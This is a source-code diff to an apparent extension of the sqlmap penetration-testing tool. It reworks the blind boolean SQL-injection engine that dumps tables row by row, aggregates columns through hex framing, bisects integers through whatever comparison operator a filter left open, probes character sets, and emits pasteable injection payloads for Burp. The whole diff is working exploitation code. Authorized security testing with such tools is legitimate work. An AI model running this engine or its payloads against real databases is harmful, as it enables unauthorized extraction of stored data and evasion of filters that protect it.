# a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe
@ -470,8 +606,18 @@ class _Enumeration(object):
break
where = " WHERE %s" % beyond
ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where)
key = self.extractInteger(ke) if unit == "int" else self.extract(ke)
if key is None or key == "" or key == prev:
if unit == "int":
key = self.extractInteger(ke) # None = NULL (MIN over empty set) = no more rows
else:
res = self.extractResult(ke) # never page on a partial/unverified key bound
if res.is_null: # MIN over empty set -> genuinely done
break
if not res.complete: # incomplete key can't be a reliable bound
ok = False
self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table)
break
key = res.value # '' is a VALID (single, unique) key row, not a terminator
if key is None or key == prev: # None = done; == prev = paging stuck (safety)
break
bound = key if unit == "int" else boundfn(key)
row, valid = readrow("%s=%s" % (keyexpr, bound))
@ -483,8 +629,15 @@ class _Enumeration(object):
prev = key
keys.append(key) # for order-free NOT IN() paging
else: # value keyset (distinct rows only)
ok = False # exact-duplicate rows collapse
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (duplicate rows collapse)" % table)
ok = False
# ACCURATE loss report: a framed page-key is the whole-row tuple, so only
# fully-identical rows collapse; a bare first-column page-key collapses every
# row that merely shares column 1 (much lossier) - say which, don't blur it
# also: MIN() never selects a NULL page-key, so rows with a NULL in the page
# column are unreachable by this walk - call that out too (not just collapse)
loss = "identical rows collapse" if framed else \
"rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0]
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss))
pageexpr = payload if framed else self.quoteIdent(cols[0])
# the framed page-key is text; a bare first-column page-key may be numeric,
# and a numeric column MUST be read via extractInteger + a numeric bound - a
@ -509,9 +662,14 @@ class _Enumeration(object):
pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False)
else: # page on the first (text) column, read cells under it
pv = self.extract("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) if pv else (None, False)
if pv is None or pv == "" or pv == prev or not valid:
kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
if kr.is_null: # MIN over empty set -> done
break
if not kr.complete: # incomplete page bound -> can't page reliably, stop
break
pv = kr.value # '' is a valid first-column value, not a terminator
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv)))
if pv is None or pv == prev or not valid:
break
rows.append(row)
self._emit(", ".join("NULL" if c is None else c for c in row))
@ -524,16 +682,102 @@ class _Enumeration(object):
# bogus key that overflows extractInteger stops the walk with partial rows
self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table)
ok = False
# complete only if every row extracted cleanly AND we got them all
# TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly);
# `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can
# cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact
# primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it.
complete = ok and expected is not None and len(rows) == expected
return {"columns": cols, "rows": rows, "complete": complete, "keyed_by": keyed_by}
exact = bool(self._byteFaithful())
# EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the
# discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN -
# using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is
# NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact.
effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
note = None
if rows and not exact:
note = ("dump %s: values recovered via a collation-dependent comparison "
"(no byte-exact primitive) - case/accents may be inexact" % table)
elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows):
# bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII
# cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact
exact = False
note = ("dump %s: non-ASCII values decoded under an undetermined character set "
"- text may be inexact" % table)
elif exact and self.dialect.textcast and not self._castPreservesAccents():
# bytes are faithful, but they are the output of a text cast NOT proven to preserve a
# canary accented char -> a narrowing cast may have folded unrepresentable chars to "?"
# at equal length (invisible to the length witness AND to a non-ASCII scan of the
# ALREADY-folded output) -> content is not provably source-exact
exact = False
note = ("dump %s: values extracted through a text cast not proven to preserve accented "
"characters (possible lossy/narrowing cast) - content is not provably "
"source-exact" % table)
if note:
self.dialect.notes.append(note)
return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by}
@staticmethod
def _hasNonAscii(rows):
return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row
if isinstance(v, type(u"")))
def _castPreservesAccents(self):
# The framed dump routes every column through the discovered text cast. A NARROWING cast
# (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute ->
# "?") WITHOUT changing the character count, so neither the length witness nor the hex
# decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the
# cast preserves a canary accented char (built server-side from its code point, so no raw
# byte crosses the transport): if CAST(canary)=canary holds, representable accents survive;
# if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side
# equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached;
# conservative (False) when a cast is applied but the canary can't be built/decided.
if self._castPreserves is None:
if not self.dialect.textcast:
self._castPreserves = True # no cast applied -> nothing to fold
elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"):
# the cast targets the (Unicode) connection/DB charset, which represents EVERY code
# point -> no source char can fold. This is a PROOF (not a per-value guess): a
# utf-8/16 target cannot substitute an unrepresentable char.
self._castPreserves = True
else:
# an unproven cast must NOT certify source identity: default False, promote only on
# a successful preservation probe. The canary needs a TRUE-codepoint constructor - a
# byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it
# cannot probe a fold; without one the cast stays unproven (conservatively inexact).
self._castPreserves = False
cf = self._codeCharTmpl()
if cf and self.dialect.length:
euro = cf.format(code=0x20AC)
ch = cf.format(code=0xE9) # "e"-acute
try:
with self._probePhase():
if self._ask("(%s)=1" % self._len(euro)): # constructor => one codepoint
self._castPreserves = self._ask(
"(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch))
except OracleUndecided:
pass
return self._castPreserves
def poc(self, expr, position=1, gt=64):
"""Emit a clean, pasteable boolean payload for ONE probe (the exploitation
primitive), so a tester can drop it into Burp without re-running discovery."""
one = self._sub(expr, position, 1)
if self.dialect.compare == "code" and self.dialect.charcode:
return "%s>%d" % (self.dialect.charcode[1].format(expr=one), gt)
# numeric code comparison -> render through the DISCOVERED comparator, so the PoC
# works on the very target where '>' was blocked (BETWEEN / operator-free rung)
code = self.dialect.charcode[1].format(expr=one)
if self._comparator == "gt":
return "%s>%d" % (code, gt)
if self._comparator == "between":
return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62)
if self._cmpTemplate is not None:
return self._cmpTemplate.format(expr=code, n=gt)
raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form")
# hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was
# blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes
# -> refuse rather than emit a predicate the target already rejected.
if self._comparator != "gt":
raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no operator-free form" % self.dialect.compare)
if self.dialect.compare == "hex" and self.dialect.hexfn:
return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt)
if self.dialect.compare == "collation" and self.dialect.binwrap:
@ -567,7 +811,14 @@ class _Enumeration(object):
charfrom=(d.charfrom[1] if d.charfrom else None),
concat=(d.concat[1] if d.concat else None),
identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None),
backslash=bool(self._backslashEscape))
backslash=bool(self._backslashEscape),
comparator=self._comparator, cmp_template=self._cmpTemplate,
# carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict
# (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is)
exact_witness=("hex" if d.hexfn is not None else
"binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else
"codepoint" if (d.compare == "code" and d.charcode is not None
and d.charcode.get("semantics") == "codepoint") else None))
def enumerateBulk(self, kind, maxchars=4096, encoding=None):
"""One-shot full dump: aggregate the whole column into one delimited string
@ -581,15 +832,31 @@ class _Enumeration(object):
col, src, where = self._source(kind)
# independent COUNT FIRST - so a single empty-string row isn't mistaken for
# an empty catalog (the aggregate of one '' can look like no rows)
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
try:
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
except OverflowError: # huge count -> unknown, not a failure
expected = None
if expected == 0:
return BulkResult([], expected=0, complete=True)
if not self._ensureHexfn(): # delimiter safety needs hex
self.dialect.notes.append("bulk %s: no hex framing - use enumerateKeyset" % kind)
if not self._ensureHexfn() or not self.dialect.concat: # bulk framing needs BOTH hex and concat
self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind)
return None
# 'V'-prefix each non-NULL token so an empty string is 'V' (distinct from a
# NULL aggregate over zero rows)
aggcol = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=col))
# frame each value as V<hex>; - 'V' distinguishes an empty string from a NULL
# aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet
# and the ',' separator) proves the token is WHOLE: a server-side aggregate output
# limit truncates the FINAL token, dropping its ';', so the truncated token is caught
# instead of a shorter-but-still-valid-hex value silently counting as one item.
encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
# frame each value as V<charlen>:<hex>; when a length fn exists: the ';' catches aggregate
# truncation (final token loses it) AND the independent <charlen> catches a capped/lossy HEX
# that shortened the VALUE (decoded chars != declared) - which the terminal marker alone
# (round 5) missed because a shortened even-length hex is still valid+terminated.
lenframed = bool(self.dialect.length and self.dialect.textcast)
if lenframed:
lenstr = self.dialect.textcast[1].format(expr=self._len(col))
aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"])
else:
aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"])
if self.dialect.bulkAgg is None:
self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where)
if not self.dialect.bulkAgg:
@ -602,16 +869,30 @@ class _Enumeration(object):
tokens = joined.split(",")
if res.truncated and tokens: # last token may be partial
tokens = tokens[:-1]
names, seen = [], set()
names, seen, aggtruncated = [], set(), False
for t in tokens:
if not t.startswith("V"):
if not (t.startswith("V") and t.endswith(";")): # missing terminal marker
aggtruncated = True # aggregate truncated this token -> drop, flag
continue
v = self._decodeHexToken(t[1:], encoding)
if v is not None and v not in seen: # dedupe (non-unique columns repeat)
seen.add(v)
names.append(v)
complete = (not res.truncated) and expected is not None and len(names) == expected
if expected is not None and len(names) != expected:
body = t[1:-1] # strip 'V' prefix and ';' terminator
declared = None
if lenframed:
lenpart, sep, hexpart = body.partition(":")
if sep != ":" or not lenpart.isdigit():
aggtruncated = True # malformed length prefix -> truncated token
continue
declared, body = int(lenpart), hexpart
v = self._decodeHexToken(body, encoding)
if v is not None and (declared is None or len(v) == declared): # independent length witness
if v not in seen: # dedupe (non-unique columns repeat)
seen.add(v)
names.append(v)
elif v is not None: # decoded but length mismatch -> a capped hex shortened it
aggtruncated = True
complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected
if aggtruncated:
self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind)
elif expected is not None and len(names) != expected:
self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected))
return BulkResult(names, expected=expected, complete=complete)

372
extra/esperanto/extraction.py
View file

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import binascii
from .atlas import _FREQ_ORDER
from .atlas import _hardWarnings
from .atlas import _HEX_Q_ENCODINGS
from .atlas import _HEXDIGITS
from .atlas import _HEXFN
@ -22,6 +23,8 @@ from .atlas import _unhexlify
from .atlas import _unichr
from .records import Cap
from .records import ExtractResult
from .records import NumericOutOfRange
from .records import OracleUndecided
class _Extraction(object):
@ -88,8 +91,12 @@ class _Extraction(object):
return 0, False
if ceiling < 1: # non-empty value but capped to nothing (maxlen=0)
return 0, True
n = self._readNum(lexpr, 1, ceiling)
return n, n >= ceiling # at the cap -> treat as (possibly) truncated
try:
n = self._readNum(lexpr, 1, ceiling)
except NumericOutOfRange: # length exceeds the cap -> truncated, not a small value
return ceiling, True
return n, False # _readNum PROVED n<=ceiling (raises above), so exact-at-cap
# is COMPLETE, not truncated - overflow is the exception above
def valueLength(self, expr):
length, truncated = self._measureLength(expr)
@ -142,40 +149,50 @@ class _Extraction(object):
return self._ask("(%s) IS NOT NULL" % expr)
def _readNum(self, expr, lo, hi):
# bounded numeric read in [lo, hi]. ordered comparators bisect (exponential
# first so a small value in a big range stays cheap); the order-free path
# scans fixed windows then IN-bisects inside the hit window (IN lists bounded).
if self._comparator != "membership":
low, high = lo, min(max(lo, 8), hi)
while high < hi and self._gtNum(expr, high, hi):
low, high = high + 1, min(high * 2, hi)
while low < high:
mid = (low + high) // 2
if self._gtNum(expr, mid, hi):
low = mid + 1
else:
high = mid
return low
if self._inOk:
window = 128
base = lo
while base <= hi:
win = list(range(base, min(base + window, hi + 1)))
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
while len(win) > 1:
half = win[:len(win) // 2]
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
win = half
else:
win = win[len(win) // 2:]
return win[0]
base += window
return hi
# no ordered op and no IN: plain '=' scan (bounded by hi; small values first)
for v in range(lo, hi + 1):
if self._ask("%s=%d" % (expr, v)):
return v
return hi
"""Bounded numeric read in [lo, hi]. PROVES the value lies in range before
bisecting - a bounded search must never invent an in-range boundary ('>'
saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an
out-of-range value raises NumericOutOfRange for the caller to classify
(length -> truncated, integer -> overflow) instead of returning wrong data."""
if self._comparator == "membership":
if self._inOk:
window = 128
base = lo
while base <= hi:
win = list(range(base, min(base + window, hi + 1)))
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
while len(win) > 1:
half = win[:len(win) // 2]
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
win = half
else:
win = win[len(win) // 2:]
return win[0]
base += window
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
for v in range(lo, hi + 1): # no ordered op and no IN: '=' scan
if self._ask("%s=%d" % (expr, v)):
return v
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
# ordered comparators (gt / between / operator-free rung): prove range first
if self._comparator == "between":
if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)):
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
else: # gt or operator-free rung ('>' semantics)
if self._gtNum(expr, hi, hi):
raise NumericOutOfRange("%s > %d" % (expr, hi))
if not self._gtNum(expr, lo - 1, hi): # expr <= lo-1 -> below range (any sign of lo)
raise NumericOutOfRange("%s < %d" % (expr, lo))
low, high = lo, min(max(lo, 8), hi) # exponential climb keeps small values cheap
while high < hi and self._gtNum(expr, high, hi):
low, high = high + 1, min(high * 2, hi)
while low < high:
mid = (low + high) // 2
if self._gtNum(expr, mid, hi):
low = mid + 1
else:
high = mid
return low
def _bisectCodes(self, code, codes):
# ordered bisection over a sorted code list (restricted alphabet)
@ -255,8 +272,8 @@ class _Extraction(object):
with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided
for name, tmpl in _HEXFN:
enc = self._hexEncoding(tmpl)
if enc:
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
if enc is not None: # '' = usable, codec unknown (auto-detect)
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
break
return self.dialect.hexfn
@ -266,9 +283,33 @@ class _Extraction(object):
# AND track the char (a DIFFERENT value for 'p'), so a constant can't match.
hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q'
hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p'
cf = self._codeCharTmpl()
for form, enc in _HEX_Q_ENCODINGS:
if self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form)):
return enc
if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))):
continue
# BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying
# itself). A LONG probe is required: a short sample passes any large-enough fixed cap,
# so an 8/64/255-byte-capped hex fn would slip through. No usable length measure ->
# do NOT certify whole-value hex output.
bpc = 2 if "16" in enc else 1
probe = "A" * 256
if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2):
continue
# PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in
# MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match
# alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is
# UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe
# passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a
# byte-based mode that mangles multibyte). None means only 'no working hex fn'.
if cf:
eur = tmpl.format(expr=cf.format(code=0x20AC))
want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc)
if want and self._ask("LOWER(%s)='%s'" % (eur, want)):
return enc
return "" # ASCII-compatible, codec unproven: usable, auto-detect decode
return "" # no char-from-code fn to PROVE the codec: '71'->q is ASCII-
# compatible in many charsets (CP1252/Latin-1/SJIS/...), so it
# is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text
return None
def _escalate(self, one, pos):
@ -425,14 +466,21 @@ class _Extraction(object):
return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1))
def _resolveText(self, expr):
# if the expression isn't directly substringable (e.g. a numeric/date column
# on a strict engine), wrap it in the discovered text cast
if self._textable(expr):
return expr
if self.dialect.textcast is not None and self._ask("%s IS NOT NULL" % expr):
casted = self.dialect.textcast[1].format(expr=expr)
if self._textable(casted):
return casted
# if the expression isn't directly substringable (e.g. a numeric/date column on a
# strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered
# text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does
# not exist) means "not directly textable" -> fall through to the cast, never fatal.
with self._probePhase():
if self._textable(expr):
return expr
if self.dialect.textcast is not None:
casted = self.dialect.textcast[1].format(expr=expr)
# use the cast when it makes a NON-NULL value textable; if the value is
# currently NULL the cast is STILL correct (LENGTH may not even exist for the
# raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead
# of yielding a clean is_null, so prefer the cast in the NULL case too
if self._textable(casted) or self._ask("(%s) IS NULL" % expr):
return casted
return expr
def coalesce(self, expr, fallback="''"):
@ -481,37 +529,82 @@ class _Extraction(object):
if limit is not None and limit < length:
truncated = True # a bounded prefix of a longer value
length = limit
value = "" if length == 0 else "".join(self._readChar(expr, i, codes) for i in range(1, length + 1))
if length == 0:
value = ""
else:
chars = []
for i in range(1, length + 1):
chars.append(self._readChar(expr, i, codes))
self._emitChar("".join(chars), length) # live progress: user sees it working
value = "".join(chars)
warns = ["contains unresolved char"] if _REPL in value else []
if self.dialect.compare == "equality-ci":
warns.append("lossy equality collation: case/accents ambiguous")
complete = not truncated and not warns
complete = not truncated and not _hardWarnings(warns) # soft (case/accent) keeps complete
# a length fn can stop at an embedded NUL, yielding a convincing short prefix.
# ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the
# strongest available comparator (hex > binary wrapper > plain equality); even
# plain equality catches a NUL-truncated prefix. recover via hex on mismatch.
# (_verify=False on the internal hex-string pull to avoid re-entry.)
if _verify and complete and not self._exactEquals(expr, self._lit(value)):
# escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails
# whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a
# code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks
# chars outside its alphabet, yet the cast+hex path recovers them cleanly.
if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))):
recovered = self._extractViaHex(expr, q0)
if recovered is not None:
return recovered
complete = False
warns.append("whole-value verification failed")
if complete: # verify failed and no hex recovery -> demote
complete = False
warns.append("whole-value verification failed")
# a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and
# collation/ordinal ordering are collation-dependent (accent/case/width folding), so
# without a proven hex/binary witness (or code-mode codepoint reads) the recovered
# bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT.
if _verify and value and complete and not self._byteFaithful():
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
return ExtractResult(value, complete=complete, truncated=truncated,
queries=self._queries - q0, warnings=warns)
def _byteFaithful(self):
# is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a
# binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint
# semantics reads true code points, so it is faithful on its own.
if self.dialect.hexfn is not None:
return True
if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"):
return True # only a PROVEN byte-exact wrapper (accents tested) counts
return (self.dialect.compare == "code" and self.dialect.charcode is not None
and self.dialect.charcode.get("semantics") == "codepoint")
def _extractViaHex(self, expr, q0=None):
# recover a full text value through strict hex extraction, or None
if not self._ensureHexfn():
return None
q0 = self._queries if q0 is None else q0
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
# route through the text cast, exactly as the framed dump does: a column whose STORAGE
# charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) -
# hexes to bytes the DB-charset decode garbles; casting to the DB char type first
# normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec.
hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr
res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr),
_ceiling=self.maxbytes * 2, _verify=False)
if res.is_null:
return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0)
if res.value is None or not res.complete or res.truncated or res.warnings:
return None
dec = self._decodeHexToken(res.value)
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
# UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an
# embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes
# are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact.
if enc is None:
try:
rawb = bytearray(_unhexlify(res.value))
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
if any(b >= 0x80 for b in rawb):
return None # non-ASCII under an unproven codec -> not exact
dec = self._decodeHexToken(res.value, enc)
if dec is None:
return None
return ExtractResult(dec, complete=True, queries=self._queries - q0,
@ -529,49 +622,60 @@ class _Extraction(object):
def extractInteger(self, expr, maximum=None):
"""Extract a (possibly signed) integer by range-bounded bisection - avoids
stringifying and reading digit-by-digit."""
stringifying and reading digit-by-digit. EVERY numeric decision renders through
`_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it
never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free
rung keeps FULL signed range (not the membership magnitude ceiling)."""
cap = maximum if maximum is not None else 1 << 62
if self._comparator != "gt":
# BETWEEN / order-free IN(): read the non-negative magnitude (counts,
# lengths - the only integers enumeration needs). ceil bounds the
# order-free window scan; hitting it overflows rather than saturating.
if not self._numDefined(expr):
return None
ceil = cap if self._comparator == "between" else min(cap, 1 << 16)
n = self._readNum(expr, 0, ceil)
if n >= ceil and ceil < cap:
if not self._numDefined(expr):
return None
if self._comparator == "membership":
# no ordered comparator at all: read the non-negative magnitude (counts /
# lengths) via the bounded IN/scan window; out-of-range -> overflow.
ceil = min(cap, 1 << 16)
try:
return self._readNum(expr, 0, ceil)
except NumericOutOfRange:
raise OverflowError("integer exceeds maximum %d" % ceil)
return n
if not self._ask("%s>=0" % expr):
if not self._ask("%s<0" % expr):
return None # NULL or non-numeric
if self._ask("%s<%d" % (expr, -cap)): # symmetric: negative side capped too
# ordered comparator: bracket the value with `expr > n` probes then bisect the
# transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders
# `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as
# an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max
# value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold.
HUGE = 1 << 62
if self._gtNum(expr, -1, HUGE): # expr > -1 <=> expr >= 0 (any magnitude)
if self._gtNum(expr, cap, HUGE): # expr > cap -> ABOVE maximum
raise OverflowError("integer exceeds maximum %d" % cap)
lo, hi = -1, 1
while hi < cap and self._gtNum(expr, hi, HUGE):
lo, hi = hi, min(hi * 2 + 1, cap)
else: # not in [0, HUGE]
# BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here.
# distinguish it from a genuine negative before reporting a direction (a gt/operator-
# free sign test is unbounded, so its else-branch is truly negative and skips this).
if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)):
raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE)
if not self._gtNum(expr, -cap - 1, HUGE): # expr <= -cap-1 -> BELOW minimum
raise OverflowError("integer below minimum -%d" % cap)
hi = -1
lo = -2
while self._ask("%s<%d" % (expr, lo)):
hi = lo
lo *= 2
while lo < hi:
mid = -((-lo + -hi) // 2) # ceil toward zero
if self._ask("%s<%d" % (expr, mid)):
hi = mid - 1
else:
lo = mid
return lo
lo, hi = 0, 1
while hi < cap and self._ask("%s>%d" % (expr, hi)):
lo = hi + 1
hi = min(hi * 2 + 1, cap)
if hi == cap and self._ask("%s>%d" % (expr, cap)):
raise OverflowError("integer exceeds maximum %d" % cap) # never saturate silently
while lo < hi:
hi, lo = -1, -2
while lo > -cap and not self._gtNum(expr, lo, HUGE):
hi, lo = lo, lo * 2
lo = max(lo, -cap - 1)
# invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi]
while hi - lo > 1:
mid = (lo + hi) // 2
if self._ask("%s>%d" % (expr, mid)):
lo = mid + 1
if self._gtNum(expr, mid, HUGE):
lo = mid
else:
hi = mid
return lo
# FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on
# integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to
# '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm
# the result with a direct equality against the ACTUAL expression; if it isn't decisively
# true the read is invalid -> fail closed (never return a silently-wrong count/length/id).
if not self._ask("(%s)=%d" % (expr, hi)):
raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi))
return hi
def extractBytes(self, expr):
"""Extract the exact bytes of a string/blob expression via a hex function.
@ -592,9 +696,23 @@ class _Extraction(object):
if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr):
return None
try:
return _unhexlify(hexstr)
raw = _unhexlify(hexstr)
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
# INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte
# count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex
# that silently shortened the value is caught rather than passed off as "the exact bytes".
if self.dialect.bytelen is not None:
# FAIL CLOSED: once a byte-length witness is selected for certification, an undecided
# or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never
# treat "couldn't verify" as "matched".
try:
expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr))
except (OracleUndecided, OverflowError):
return None
if expected is None or expected != len(raw):
return None
return raw
def extractText(self, expr, encoding="utf-8", errors="replace"):
"""Extract bytes then decode with a caller-chosen encoding - the reliable
@ -606,22 +724,23 @@ class _Extraction(object):
return self.extract(expr)
return raw.decode(encoding, errors)
def _likePat(self, prefix_singles, ch, trailing):
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal
# char + `single`*after. only `ch` may be special, escaped if so.
def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False):
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char +
# `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we
# read - a truncated prefix, from limit< length or length> maxlen). Without that
# multi the pattern demands an EXACT length and can't match the longer source -> every
# char would come back unresolved. only `ch` may be special, escaped if so.
p = self.dialect.prefix
multi, single = p.get("multi"), p.get("single")
tail = single * trailing + (multi if trailing_multi else "")
body = single * prefix_singles
if p.name == "GLOB" and ch in (multi, single, "["):
body += "[%s]" % ch # GLOB escapes via a char class
return body + (single * trailing), ""
return body + "[%s]" % ch + tail, "" # GLOB escapes via a char class
# SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_
special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single)
if ch in special:
body += "\\" + ch # escape via ESCAPE '\'
return body + (single * trailing), " ESCAPE '\\'"
body += ch.replace("'", "''")
return body + (single * trailing), ""
return body + "\\" + ch + tail, " ESCAPE '\\'" # escape via ESCAPE '\'
return body + ch.replace("'", "''") + tail, ""
def _likeIs(self, expr, pattern, esc):
return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc))
@ -642,6 +761,10 @@ class _Extraction(object):
# largest n that still matches (keep a known-true lower bound; the exponential
# must NOT advance lo past the true region)
ge = lambda n: self._likeIs(expr, single * n + multi, "")
